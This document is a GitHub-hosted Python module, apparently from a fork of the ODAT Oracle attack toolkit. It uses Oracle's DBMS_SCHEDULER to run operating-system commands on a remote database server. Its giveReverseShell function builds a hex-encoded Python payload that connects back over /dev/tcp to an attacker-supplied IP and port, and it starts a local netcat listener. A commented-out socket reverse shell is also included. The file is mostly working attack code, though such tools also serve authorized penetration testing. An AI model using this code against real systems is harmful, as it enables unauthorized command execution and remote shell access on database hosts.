forked from quentinhardy/odat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
DbmsScheduler.py
219 lines (201 loc) · 9.52 KB
/
DbmsScheduler.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
#!/usr/bin/python
# -*- coding: utf-8 -*-
from OracleDatabase import OracleDatabase
import logging, cx_Oracle, subprocess
from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser
from Constants import *
from time import sleep
from threading import Thread
class DbmsScheduler (OracleDatabase):
'''
Allow the user to execute a command on the remote database system with DBMS_SCHEDULER
'''
def __init__(self,args):
'''
Constructor
'''
logging.debug("DbmSscheduler object created")
OracleDatabase.__init__(self,args)
self.jobName = None
def __removeJob__(self, jobName, force=False, defer=True):
'''
Remove a Job from dbmssceduler
If force is set to TRUE, the Scheduler first attempts to stop the running job instances (by issuing the
STOP_JOB call with the force flag set to false), and then drops the jobs.
If defer is set to TRUE, the Scheduler allows the running jobs to complete and then drops the jobs.
Setting both force and defer to TRUE results in an error.
If both force and defer are set to FALSE and a job is running at the time of the call, the attempt
to drop that job fails.
Dropping a job requires ALTER privileges on the job either as the owner of the job or as a user with
the ALTER object privilege on the job or the CREATE ANY JOB system privilege.
Return True if no error, otherwise return Exception
'''
parameters = {'job_name': jobName, 'force': force, 'defer': defer} #'force': force, 'defer': defer
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try:
logging.info("Trying to remove job {0}".format(jobName))
#cursor.callproc(name="DBMS_SCHEDULER.drop_job", keywordParameters=parameters)
cursor.execute("begin DBMS_SCHEDULER.drop_job('{0}', {1}, {2}); end;".format(jobName, force, defer))
except Exception as e:
logging.info('Error with DBMS_SCHEDULER.drop_job: {0}'.format(self.cleanError(e)))
return ErrorSQLRequest(e)
if defer == False:
logging.info("Job {0} has been removed".format(jobName))
else:
logging.info("When job will be completed, the job {0} will be dropped".format(jobName))
return True
def __createJob__(self, cmd):
'''
Create a job for DBMS_SCHEDULER
Be Careful: Special chars are not allowed in the command line
'''
logging.info('Create a job named {0}'.format(self.jobName))
splitCmd = cmd.split()
parameters = {'job_name':self.jobName,'job_type':'EXECUTABLE','job_action':splitCmd[0],'number_of_arguments':len(splitCmd)-1} #'auto_drop':True does not work with CX_Oralce. Why ?
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try :
if self.args['show_sql_requests'] == True: logging.info("SQL request executed: DBMS_SCHEDULER.create_job with these parameters: {0}".format(parameters))
cursor.callproc(name="DBMS_SCHEDULER.create_job",keywordParameters=parameters)
#cursor.execute("begin DBMS_SCHEDULER.create_job(:job_name, :job_type, :job_action, :number_of_arguments, :auto_drop); end;", parameters)
except Exception as e:
logging.info('Error with DBMS_SCHEDULER.create_job: {0}'.format(self.cleanError(e)))
return ErrorSQLRequest(e)
else :
for pos,anArg in enumerate(splitCmd):
if pos!=0:
parameters = {'job_name':self.jobName,'argument_position':pos,'argument_value':anArg}
try :
if self.args['show_sql_requests'] == True: logging.info("SQL request executed: DBMS_SCHEDULER.set_job_argument_value with these parameters: {0}".format(parameters))
cursor.callproc(name="DBMS_SCHEDULER.set_job_argument_value",keywordParameters=parameters)
except Exception as e:
logging.info('Error with DBMS_SCHEDULER.set_job_argument_value:{0}'.format(self.cleanError(e)))
return ErrorSQLRequest(e)
return True
def __runJob__(self):
'''
run the job named self.jobName
'''
logging.info('Run the job')
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try :
cursor.callproc(name="DBMS_SCHEDULER.enable",keywordParameters={'name':self.jobName})
except Exception as e:
logging.info('DBMS_SCHEDULER.enable:{0}'.format(self.cleanError(e)))
return ErrorSQLRequest(e)
return True
def __getJobStatus__(self):
'''
Get the job status from user_scheduler_job_log table
return Exception if error
return False : the job is not created or job is running
return Exception: there is an exception
return string if NOT SUCCESS
return True if SUCCESS
'''
sleep(3)
query = "SELECT status, additional_info FROM USER_SCHEDULER_JOB_RUN_DETAILS WHERE job_name = '{0}'".format(self.jobName)
response = self. __execThisQuery__(query=query,ld=['status','additional_info'])
if isinstance(response,Exception) :
logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
return ErrorSQLRequest(response)
if response == [] :
self.args['print'].goodNews("The Job is running")
return False
elif response[0]['status'] == "FAILED" :
self.args['print'].badNews("The Job has failed: {0}".format(response[0]['additional_info']))
str(response[0]['additional_info'])
return False
else :
self.args['print'].goodNews("The Job is finish")
return True
def execOSCommand(self,cmd):
'''
Execute an OS command on the remote database system
Example:
exec DBMS_SCHEDULER.CREATE_JOB(job_name=>'J1226',job_type=>'EXECUTABLE',number_of_arguments=>3,job_action =>'/bin/ping',auto_drop=>FALSE);
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226',1,'-c');
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226',2,'2');
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226',3,'192.168.56.1');
exec DBMS_SCHEDULER.ENABLE('J1226');
select log_id, log_date, job_name, status, error#, additional_info from dba_scheduler_job_run_details where job_name ='J1226';
'''
self.jobName = self.__generateRandomString__(nb=20)
logging.info('Execute the following command on the remote database system: {0}'.format(cmd))
logging.info('Be Careful: Special chars are not allowed in the command line')
if ">" in cmd:
logging.warning('Be Careful: Special chars are not allowed in the command line and it seems you are using one')
status = self.__createJob__(cmd)
if isinstance(status,Exception): return status
status = self.__runJob__()
if isinstance(status,Exception): return status
return True
def __runListenNC__ (self,port=None):
'''
nc listen on the port
'''
try :
subprocess.call("nc -l -v -p {0}".format(port), shell=True)
except KeyboardInterrupt: pass
def giveReverseShell(self, localip, localport):
'''
Give a reverse tcp shell via nc
Need upload nc.exe if the remote system is windows
'''
if self.remoteSystemIsWindows() == True :
logging.warn("Java reverse shell is not implement for Windows yet")
pass
elif self.remoteSystemIsLinux() == True :
#PYTHON_CODE = """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""".format(localip, localport)
PYTHON_CODE = """import os; os.system('exec 5<>/dev/tcp/{0}/{1}; /bin/cat <&5 | while read line; do $line 2>&5 >&5; done');""".format(localip, localport)
CMD = '''/usr/bin/python -c exec('{0}'.decode('hex'))'''.format(PYTHON_CODE.encode('utf-8').hex())
logging.debug('The following command will be executed on the target: {0}'.format(CMD))
self.args['print'].goodNews("The python reverse shell tries to connect to {0}:{1}".format(localip,localport))
a = Thread(None, self.__runListenNC__, None, (), {'port':localport})
a.start()
try :
self.execOSCommand(cmd=CMD)
except KeyboardInterrupt:
self.args['print'].goodNews("Connection closed")
self.__getJobStatus__()
self.__removeJob__(self.jobName, force=False, defer=True)
else :
logging.error("The remote server OS ({0}) is unknown".format(self.remoteOS.lower()))
def testAll (self):
'''
Test all functions
'''
command = self.__generateRandomString__()
self.args['print'].subtitle("DBMSSCHEDULER library ?")
logging.info("Try to use the DBMScheduler library to execute the following random command: {0}".format(command))
status = self.execOSCommand(cmd=command)
if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status):
self.args['print'].goodNews("OK")
else :
self.args['print'].badNews("KO")
self.__removeJob__(self.jobName, force=True, defer=False)
def runDbmsSchedulerModule(args):
'''
Run the DBMSAdvisor module
'''
status = True
if checkOptionsGivenByTheUser(args,["test-module","exec","reverse-shell"]) == False : return EXIT_MISS_ARGUMENT
dbmsScheduler = DbmsScheduler(args)
status = dbmsScheduler.connection(stopIfError=True)
if args['test-module'] == True :
args['print'].title("Test if the DBMSScheduler library can be used")
status = dbmsScheduler.testAll()
#Option 1: exec
if args['exec'] != None:
args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server']))
status = dbmsScheduler.execOSCommand(args['exec'])
if status == True:
args['print'].goodNews("The `{0}` command was executed on the {1} server".format(args['exec'],args['server']))
else :
args['print'].badNews("The `{0}` command was not executed on the {1} server: {2}".format(args['exec'],args['server'],str(status)))
dbmsScheduler.__getJobStatus__()
dbmsScheduler.__removeJob__(dbmsScheduler.jobName, force=True, defer=False)
#Option 2: reverse shell
if args['reverse-shell'] != None :
args['print'].title("Try to give you a reverse shell from the {0} server".format(args['server']))
dbmsScheduler.giveReverseShell(localip=args['reverse-shell'][0],localport=args['reverse-shell'][1])
dbmsScheduler.close()